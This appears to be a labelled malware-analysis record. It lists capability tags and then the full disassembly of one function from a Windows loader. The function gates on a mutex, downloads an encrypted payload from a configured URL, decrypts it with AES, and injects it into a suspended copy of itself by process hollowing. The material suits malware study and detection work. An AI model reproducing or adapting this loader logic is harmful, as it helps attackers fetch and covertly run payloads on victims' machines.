Function at 0x1400020c0
Capabilities:
Allocate or change rwx memory
Check mutex and terminate process on windows
Check mutex on windows
Create http request
Create new key via cryptacquirecontext
Create process on windows
Create process suspended
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Read data from internet
Receive data
Resume thread
Terminate process
Use process replacement

Disassembly:
push rbp
push r12
lea rbp, [rsp - 0xb38]
sub rsp, 0xc38
mov rax, qword [0x140026040]
xor rax, rsp
mov qword [rbp + 0xb10], rax
mov r12d, 1
lea r8, str.Upgrader
mov edx, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140002b57
lea rcx, [rsp + 0x70]
call fcn.140001240
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x80]
call fcn.140001240
mov rax, qword [rbp - 0x80]
xorps xmm0, xmm0
sub rax, qword [rsp + 0x70]
cvtsi2sd xmm0, rax
divsd xmm0, qword [0x140022808]
comisd xmm0, xmmword [0x140022800]
jae 0x140002b57
mov qword [rsp + 0xc50], rbx
mov qword [rsp + 0xc60], rdi
mov qword [rsp + 0xc28], r14
call fcn.140001b80
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [0x140026ac8], 0xf
lea r14, str.UrlKey
mov rbx, qword [0x140026ac0]
movabs rdi, 0x7fffffffffffffff
cmova r14, qword [str.UrlKey]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
cmp rbx, rdi
ja 0x140002b6a
mov qword [rsp + 0xc58], rsi
xor esi, esi
cmp rbx, 0xf
ja 0x1400021db
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], 0xf
movups xmm0, xmmword [r14]
movups xmmword [rbp - 0x80], xmm0
jmp 0x14000226c
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x140002217
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140002f58
mov rcx, rax
test rax, rax
je 0x140002b70
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140002251
mov ecx, 0x16
cmp rax, rcx
cmovb rax, rcx
mov rdi, rax
lea rcx, [rax + 1]
cmp rcx, 0x1000
jb 0x140002242
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002b64
jmp 0x1400021f5
test rcx, rcx
je 0x14000224e
call fcn.140002f58
jmp 0x140002251
mov rax, rsi
lea r8, [rbx + 1]
mov qword [rbp - 0x80], rax
mov rdx, r14
mov qword [rbp - 0x70], rbx
mov rcx, rax
mov qword [rbp - 0x68], rdi
call fcn.140018bc0
lea r9, [rbp - 0x80]
mov qword [rsp + 0xc20], r15
lea rcx, [rbp + 0x958]
call fcn.140001d70
cmp qword [rbp + 0x970], 0xf
lea rbx, [rbp + 0x958]
mov edx, r12d
mov dword [rsp + 0x20], esi
cmova rbx, qword [rbp + 0x958]
lea rcx, str.Vril
xor r9d, r9d
xor r8d, r8d
mov rdi, rsi
mov r15d, esi
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rbp - 0x80], rax
mov r14, rax
test rax, rax
je 0x1400023a2
mov qword [rsp + 0x28], rsi
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x80000000
mov rdx, rbx
mov qword [rsp + 0xc30], r13
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r13, rax
test rax, rax
jne 0x140002308
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14000239a
mov ecx, 0x400
mov r12d, ecx
call fcn.1400031dc
mov rdi, rax
nop dword [rax + rax]
lea ecx, [r15 + 0x400]
mov r14d, r15d
cmp ecx, r12d
jbe 0x14000235a
add r12d, 0x400
mov ecx, r12d
call fcn.1400031dc
mov r8d, r14d
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call fcn.140018bc0
mov rcx, rdi
call fcn.140002f50
mov rdi, rbx
lea rdx, [r14 + rdi]
mov r8d, 0x400
lea r9, [rbp + 0x944]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [rbp + 0x944]
add r15d, eax
test eax, eax
jne 0x140002320
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r12d, 1
mov r13, qword [rsp + 0xc30]
movdqa xmm0, xmmword [0x140022820]
lea rcx, [rbp + 0x950]
mov r9d, 0x18
mov dword [rbp + 0x948], r15d
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
movdqu xmmword [rbp + 0x9f0], xmm0
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x14000249a
mov rcx, qword [rbp + 0x950]
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x14000249a
mov rcx, qword [rsp + 0x70]
lea rdx, [rbp + 0x9f0]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x14000249a
mov r8, qword [rsp + 0x70]
lea rax, [rbp - 0x80]
mov rcx, qword [rbp + 0x950]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x14000249a
mov rcx, qword [rbp - 0x80]
lea rax, [rbp + 0x948]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rdi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x14000249a
mov rcx, qword [rbp + 0x950]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
test rdi, rdi
je 0x140002b0e
movsxd rax, dword [rdi + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140002afa
xorps xmm0, xmm0
mov dword [rbp + 0x980], 0x68
xor eax, eax
lea rdx, [rbp + 0xa00]
mov r8d, 0x104
mov dword [rbp + 0x9e4], eax
xor ecx, ecx
mov qword [rsp + 0x60], rax
movups xmmword [rbp + 0x984], xmm0
movups xmmword [rbp + 0x994], xmm0
movups xmmword [rbp + 0x9a4], xmm0
movups xmmword [rbp + 0x9b4], xmm0
movups xmmword [rbp + 0x9c4], xmm0
movups xmmword [rbp + 0x9d4], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rbp + 0xa00]
xor r9d, r9d
mov qword [0x140027dd0], rax
lea rcx, [rbp + 0xa00]
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x48], rax
xor edx, edx
lea rax, [rbp + 0x980]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140002613
mov rcx, qword [rsp + 0x50]
lea rdx, [rbp + 0x940]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
xor edx, edx
cmp dword [rbp + 0x940], esi
je 0x140002666
mov r8d, 0x2c8
mov qword [rbp - 0x80], rsi
lea rcx, [rbp - 0x5c]
call fcn.140018800
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x60]
mov dword [rbp - 0x60], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
mov edx, dword [rbp + 0x44]
lea r8, [rbp - 0x80]
mov rcx, qword [rsp + 0x50]
add edx, 8
mov r9d, 4
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x1400025ee
xorps xmm0, xmm0
xorps xmm1, xmm1
psrldq xmm0, 8
movq rax, xmm1
movq rcx, xmm0
jmp 0x140002605
mov eax, dword [rbp + 0x44]
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rcx
movdqa xmm1, xmmword [rsp + 0x70]
test rcx, rcx
je 0x140002613
test rax, rax
jne 0x140002705
cmp rdi, 0xffffffffffffffff
je 0x14000262d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14000263d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140002b0e
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002b0e
mov r8d, 0x4d0
mov qword [rsp + 0x70], rsi
lea rcx, [rbp + 0x470]
call fcn.140018800
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp + 0x470]
mov dword [rbp + 0x4a0], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rdx, qword [rbp + 0x4f8]
lea r8, [rsp + 0x70]
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x1400026da
xorps xmm0, xmm0
xorps xmm1, xmm1
psrldq xmm0, 8
movq rax, xmm1
movq rcx, xmm0
jmp 0x1400026f3
mov rax, qword [rbp + 0x4f8]
mov rcx, qword [rsp + 0x70]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rcx
movdqa xmm1, xmmword [rbp - 0x80]
test rcx, rcx
je 0x140002613
test rax, rax
je 0x140002613
movsxd rcx, dword [rdi + 0x3c]
mov eax, 0x10b
add rcx, rdi
cmp word [rcx + 0x18], ax
mov eax, dword [rbp + 0x940]
jne 0x140002727
test eax, eax
je 0x140002b0e
jmp 0x140002732
test eax, eax
jne 0x140002b0e
mov r12d, esi
psrldq xmm1, 8
mov edx, 0x5c
movzx ebx, word [rcx + rdx]
movq rdx, xmm1
mov rcx, qword [rsp + 0x50]
test eax, eax
je 0x140002755
call fcn.140001320
jmp 0x14000275a
call fcn.140001460
cmp eax, 0xffffffff
je 0x140002613
cmp ebx, eax
jne 0x140002613
movsxd rcx, dword [rdi + 0x3c]
test r12d, r12d
je 0x1400029bd
cmp dword [rcx + rdi + 0xa0], esi
jne 0x1400028e5
mov r8d, dword [rdi + rcx + 0x50]
lea rbx, [rdi + rcx]
mov edx, dword [rbx + 0x34]
mov r9d, 0x3000
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
je 0x1400028f6
mov r9d, dword [rbx + 0x54]
mov r8, rdi
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400028f6
mov r14d, esi
cmp si, word [rbx + 6]
jae 0x140002827
mov r15, rsi
movzx eax, word [rbx + 0x14]
mov rcx, qword [rsp + 0x50]
add rax, r15
mov qword [rsp + 0x20], rsi
mov r8d, dword [rax + rbx + 0x2c]
mov edx, dword [rax + rbx + 0x24]
add r8, rdi
mov r9d, dword [rax + rbx + 0x28]
add rdx, r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400028f6
movzx eax, word [rbx + 6]
inc r14d
add r15, 0x28
cmp r14d, eax
jl 0x1400027e4
xor edx, edx
lea rcx, [rbp - 0x5c]
mov r8d, 0x2c8
call fcn.140018800
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x60]
mov dword [rbp - 0x60], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x1400028f6
mov edx, dword [rbp + 0x44]
lea r8, [rbx + 0x34]
mov rcx, qword [rsp + 0x50]
add rdx, 8
mov r9d, 4
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400028f6
mov ecx, dword [rbx + 0x28]
lea rdx, [rbp - 0x60]
add ecx, r12d
mov dword [rbp + 0x50], ecx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
je 0x1400028f6
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp rdi, 0xffffffffffffffff
je 0x1400028bc
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x1400028cc
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140002b13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002b13
mov rdx, rdi
lea rcx, [rsp + 0x50]
call fcn.140001890
test eax, eax
jne 0x1400028a2
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14000291a
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x14000293a
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x970]
cmp rdx, 0xf
jbe 0x14000297b
mov rcx, qword [rbp + 0x958]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002976
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002b5e
call fcn.140002f50
mov r15, qword [rsp + 0xc20]
mov rsi, qword [rsp + 0xc58]
mov rdi, qword [rsp + 0xc60]
mov rbx, qword [rsp + 0xc50]
mov r14, qword [rsp + 0xc28]
mov rcx, qword [rbp + 0xb10]
xor rcx, rsp
call fcn.140002f30
add rsp, 0xc38
pop r12
pop rbp
ret
cmp dword [rcx + rdi + 0xb0], esi
je 0x1400029e0
mov rdx, rdi
lea rcx, [rsp + 0x50]
call fcn.1400015b0
test eax, eax
je 0x1400028f6
jmp 0x1400028a2
mov r8d, dword [rdi + rcx + 0x50]
lea rbx, [rdi + rcx]
mov rdx, qword [rbx + 0x30]
mov r9d, 0x3000
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
je 0x1400028f6
mov r9d, dword [rbx + 0x54]
mov r8, rdi
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400028f6
mov r14d, esi
cmp si, word [rbx + 6]
jae 0x140002a83
mov r15, rsi
movzx eax, word [rbx + 0x14]
mov rcx, qword [rsp + 0x50]
add rax, r15
mov qword [rsp + 0x20], rsi
mov r8d, dword [rax + rbx + 0x2c]
mov edx, dword [rax + rbx + 0x24]
add r8, rdi
mov r9d, dword [rax + rbx + 0x28]
add rdx, r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400028f6
movzx eax, word [rbx + 6]
inc r14d
add r15, 0x28
cmp r14d, eax
jl 0x140002a40
xor edx, edx
lea rcx, [rbp - 0x60]
mov r8d, 0x4d0
call fcn.140018800
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x60]
mov dword [rbp - 0x30], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1400028f6
mov rdx, qword [rbp + 0x28]
lea r8, [rbx + 0x30]
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400028f6
mov eax, dword [rbx + 0x28]
lea rdx, [rbp - 0x60]
mov rcx, qword [rsp + 0x58]
add rax, r12
mov qword [rbp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
jmp 0x140002893
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, 0xffffffff
mov rdx, qword [rbp + 0x970]
cmp rdx, 0xf
jbe 0x140002b50
mov rcx, qword [rbp + 0x958]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b4b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002b5e
call fcn.140002f50
mov eax, esi
jmp 0x14000297b
xor eax, eax
jmp 0x1400029a3
call fcn.14000c178
int3
call fcn.140001180
int3
call fcn.140001220
int3
call fcn.14000c178
int3